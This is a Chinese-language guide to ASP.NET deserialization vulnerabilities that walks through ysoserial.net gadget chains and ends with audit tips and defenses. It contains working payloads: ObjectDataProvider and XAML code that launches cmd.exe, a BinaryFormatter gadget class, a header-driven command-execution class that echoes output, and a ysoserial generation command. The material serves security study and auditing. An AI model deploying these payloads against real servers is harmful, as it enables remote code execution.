ASP.NET 反序列化漏洞分析与防御指南
前言
本文基于Y4er博客和ysoserial.net项目的研究成果,系统总结了ASP.NET反序列化漏洞的原理、利用方式和防御措施。文章将详细分析XMLSerializer、BinaryFormatter、LosFormatter等多种反序列化机制的安全问题,并提供实际攻击案例和代码审计视角。
基础知识
ASP.NET反序列化漏洞主要源于不安全的反序列化操作,攻击者通过构造恶意序列化数据,在目标系统上实现远程代码执行(RCE)。参考文章:反序列化--基于ysoserial的分析
XMLSerializer反序列化
基本机制
XMLSerializer位于System.Xml.Serialization命名空间,程序集为System.Xml.XmlSerializer.dll,它只序列化对象的公共(public)属性和公共字段。
获取Type的几种方式:
XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person)); // typeof()
XmlSerializer xmlSerializer1 = new XmlSerializer(p.GetType()); // 对象的GetType()方法
XmlSerializer xmlSerializer2 = Type.GetType("XmlDeserialization.Person"); // 使用命名空间加类名
反序列化攻击链
基本命令执行
在C#中利用Process类实现命令执行的基本语句:
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c " + cmd;
process.Start();
ObjectDataProvider实现RCE
ObjectDataProvider可以调用任意类的任意方法:
ObjectDataProvider o = new ObjectDataProvider();
o.MethodParameters.Add("cmd.exe");
o.MethodParameters.Add("/c calc");
o.MethodName = "Start";
o.ObjectInstance = new Process();
ExpandedWrapper包装恶意类
利用ExpandedWrapper包装恶意类,调用恶意方法执行命令:
[XmlRoot]
public class Person {
[XmlAttribute]
public string ClassName { get; set; }
public void Evil(string cmd) {
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c " + cmd;
process.Start();
}
}
// 序列化和反序列化过程
ExpandedWrapper<Person, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Person, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.MethodName = "Evil";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
expandedWrapper.ProjectedProperty0.ObjectInstance = new Person();
XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<Person, ObjectDataProvider>));
xml.Serialize(writer, expandedWrapper);
xml.Deserialize(memoryStream);
ObjectDataProvider + ResourceDictionary
利用ResourceDictionary和XamlReader.Parse()实现RCE:
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
代码审计视角
重点关注:
new XmlSerializer(type)中的type参数是否可控xml.Deserialize(memoryStream)中的反序列化值是否可控
BinaryFormatter反序列化
BinaryFormatter位于System.Runtime.Serialization.Formatters.Binary命名空间,是最危险的反序列化机制之一。
常见攻击链
TextFormattingRunProperties链
限制条件:需要Microsoft.PowerShell.Editor.dll,该库是PowerShell的一部分,预装在Windows Server 2008 R2及以后版本中。
调用链:TextFormattingRunProperties → ObjectDataProvider → Process
原理:在GetObjectData序列化时给ForegroundBrush字段赋值为_xaml的payload,并将对象类型设为TextFormattingRunProperties类。反序列化时触发构造函数,调用GetObjectFromSerializationInfo,进而触发XamlReader.Parse(payload)。
关键点:XamlReader.Parse
Payload示例:
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable {
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) {}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context) {
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string xaml) {
_xaml = xaml;
}
}
// 使用
string xaml_payload = File.ReadAllText("payload.xml");
TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload);
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(memoryStream, payload);
binaryFormatter.Deserialize(memoryStream);
PSObject + ObjectDataProvider
调用链:PSObject → ObjectDataProvider
原理:通过有参构造方法,最终调用XamlReader.Parse方法
DataSet + TextFormattingRunProperties
调用链:DataSet → TextFormattingRunProperties → ObjectDataProvider
原理:DataSet反序列化时自动反序列化Tables_0字段的byte数组,可将TextFormattingRunProperties生成的byte数组赋值给该字段
关键点:binaryFormatter.Deserialize,需要ISerializable接口
DataSetTypeSpoof + TextFormattingRunProperties
与DataSet链类似,只是对info.SetType(typeof(System.Data.DataSet))进行了变形
DataSetOldBehaviour + ObjectDataProvider
调用链:DataSet → ObjectDataProvider
原理:调用DataSet.ReadXml(),最终调用XmlSerializer.Deserialize
ToolboxItemContainer + TextFormattingRunProperties
调用链:ToolboxItemContainer → TextFormattingRunProperties → ObjectDataProvider
原理:ToolboxItemSerializer的反序列化构造函数直接对Stream字段进行BinaryFormatter反序列化
AxHostState + TextFormattingRunProperties
调用链:State → TextFormattingRunProperties → ObjectDataProvider
原理:AxHost.State类的反序列化构造函数中调用this.propBag.Read,PropertyBagBinary字段会被BinaryFormatter反序列化
代码审计视角
BinaryFormatter不需要指定type,因此更容易出现反序列化漏洞,审计时应特别关注BinaryFormatter的使用。
LosFormatter和ObjectStateFormatter
LosFormatter用于序列化存储视图流状态(如ViewState),封装在System.Web.dll中。ObjectStateFormatter同样用于序列化对象状态图。
常见攻击链
ClaimsIdentity + TextFormattingRunProperties + ObjectDataProvider
调用链:ClaimsIdentity → TextFormattingRunProperties → ObjectDataProvider
原理:利用ClaimsIdentity类的m_bootstrapContext字段(object类型),将TextFormattingRunProperties对象赋值给该字段。反序列化时,LosFormatter底层会调用BinaryFormatter序列化和反序列化object字段。
示例:
LosFormatter losFormatter = new LosFormatter();
TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal();
My my = new My();
my.o = payload;
losFormatter.Serialize(memory, my);
losFormatter.Deserialize(memory);
WindowsIdentity + TextFormattingRunProperties
调用链:WindowsIdentity → ClaimsIdentity → TextFormattingRunProperties → ObjectDataProvider
原理:WindowsIdentity继承自ClaimsIdentity,反序列化时调用父类构造函数,三个字段(actor、bootstrapContextKey)可进行BinaryFormatter反序列化。
RolePrincipal + TextFormattingRunProperties
调用链:RolePrincipal → ClaimsPrincipal → TextFormattingRunProperties → ObjectDataProvider
原理:RolePrincipal反序列化时调用父类ClaimsPrincipal的Identities字段,将获取的base64值转为byte数组后直接BinaryFormatter反序列化。
SessionSecurityToken + TextFormattingRunProperties
调用链:SessionSecurityToken → TextFormattingRunProperties → ObjectDataProvider
原理:反序列化时调用ReadIdentity方法,将BootstrapToken标签内容base64解码后通过BinaryFormatter反序列化。
SessionViewStateHistoryItem + TextFormattingRunProperties
调用链:SessionViewState → SessionViewStateHistoryItem → TextFormattingRunProperties → ObjectDataProvider
原理:SessionViewStateHistoryItem的反序列化构造函数直接对序列化值进行LosFormatter反序列化。
代码审计视角
除了关注反序列化方法传入的参数值,还需注意使用LosFormatter和ObjectStatesFormatter可能造成二次反序列化,要特别关注object类型的字段。
SurrogateSelector相关链
主要用于加载恶意代码实现回显等功能。
ActivitySurrogateSelector
利用代理选择器序列化原本不能被序列化的类,通过LINQ替换其委托为Assembly.Load加载恶意代码。
流程:
- 从ActivitySurrogateSelector+ObjectSurrogate序列化类
- 利用LINQ替换委托
- 通过IEnumerable → PagedDataSource → ICollection → AggregateDictionary → IDictionary → DesignerVerb → ToString链
- 通过HashTable键值重复触发报错进入ToString
- 用System.Windows.Forms.AxHost.State包装处理异常
ActivitySurrogateSelectorFromFile
ActivitySurrogateSelector利用链的变种,可执行自定义程序集(加载dll文件)。
ActivitySurrogateDisableTypeCheck + TextFormattingRunProperties
在.NET 4.8中,微软修复了ActivitySurrogateSelector类的滥用问题。此方法利用TextFormattingRunProperties关闭DisableActivitySurrogateSelectorTypeCheck类型检查,再实现RCE。
Payload示例:
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Configuration;assembly=System.Configuration"
xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib">
<!-- 省略具体payload -->
</ResourceDictionary>
回显实现
自定义程序集示例,利用header中的cmd参数执行命令并回显:
class E {
public E() {
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try {
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string cmd = context.Request.Headers["cmd"];
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
context.Response.Write(output);
} catch (System.Exception) {}
context.Response.Flush();
context.Response.End();
}
}
生成命令:
ysoserial.exe -g ActivitySurrogateSelectorFromFile -f SoapFormatter -c "dlls\E.cs;System.Web.dll;System.dll"
TypeConfuseDelegate相关链
TypeConfuseDelegate + ObjectDataProvider
利用委托特性,最终调用ObjectDataProvider。
调用链:SortedSet → ObjectDataProvider
原理:SortedSet中OnDeserialization触发Add函数,经过多次重载调用比较器的Compare()方法,反射修改Process.Start(string,string)。
限制:需要.NET 4.5+(Comparer
ClaimsPrincipal + TypeConfuseDelegate
调用链:ClaimsPrincipal → SortedSet
原理:直接触发OnDeserializedMethod回调事件,对m_serializedClaimsIdentities进行反序列化
ResourceSet + Sorted
原理:构造后反序列化时触发Sorted的OnDeserialization事件
防御措施
- 避免使用BinaryFormatter、LosFormatter等危险的反序列化机制
- 使用安全的替代方案,如System.Text.Json
- 实施类型检查,限制反序列化的类型
- 使用SerializationBinder限制可反序列化的类型
- 对反序列化操作进行严格的输入验证
- 保持.NET框架和依赖库的最新版本
- 实施代码审查,特别关注反序列化操作